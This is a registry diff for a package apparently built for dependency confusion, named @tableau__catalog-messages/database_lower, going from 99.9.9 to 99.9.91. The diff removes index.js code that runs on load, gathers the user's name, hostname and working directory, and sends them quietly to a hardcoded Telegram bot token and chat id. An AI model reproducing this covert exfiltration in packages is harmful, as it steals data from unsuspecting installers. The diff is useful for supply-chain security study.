@tableau__catalog-messages/database_lower 99.9.9 → 99.9.91
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -29
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,29 +1 @@
|
|
|
1
|
-
|
|
2
|
-
const os = require("os");
|
|
3
|
-
|
|
4
|
-
// بيانات التليجرام بتاعتك (تم الإبقاء عليها كما طلبت)
|
|
5
|
-
const botToken = "8679799103:AAGzf0zGjH-RX6zBGncRJzpYz85beZ8ozpE";
|
|
6
|
-
const chatId = "1483949647";
|
|
7
|
-
|
|
8
|
-
try {
|
|
9
|
-
// سحب بيانات البيئة الأساسية
|
|
10
|
-
const username = os.userInfo().username || "Unknown User";
|
|
11
|
-
const currentPath = process.cwd();
|
|
12
|
-
const hostname = os.hostname();
|
|
13
|
-
|
|
14
|
-
// 🎯 التعديل هنا: الرسالة اتظبطت على Atlassian والباكدج اللي حجزتها
|
|
15
|
-
const message = `✅ Atlassian PoC Hit!\n\n📦 Package: @tableau__catalog-messages/database_lower\n👤 User: ${username}\n💻 Host: ${hostname}\n📂 Path: ${currentPath}`;
|
|
16
|
-
|
|
17
|
-
// إرسال الطلب لتليجرام
|
|
18
|
-
const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`;
|
|
19
|
-
|
|
20
|
-
https.get(url, (res) => {
|
|
21
|
-
// تم الإرسال بصمت
|
|
22
|
-
}).on('error', (e) => {
|
|
23
|
-
// تجاهل أي أخطاء
|
|
24
|
-
});
|
|
25
|
-
} catch (err) {
|
|
26
|
-
// تجاهل الأخطاء لمنع كراش السيرفر المستهدف
|
|
27
|
-
}
|
|
28
|
-
|
|
29
|
-
console.log("PoC Loaded.");
|
|
1
|
+
// Security Research PoC - Neutralized
|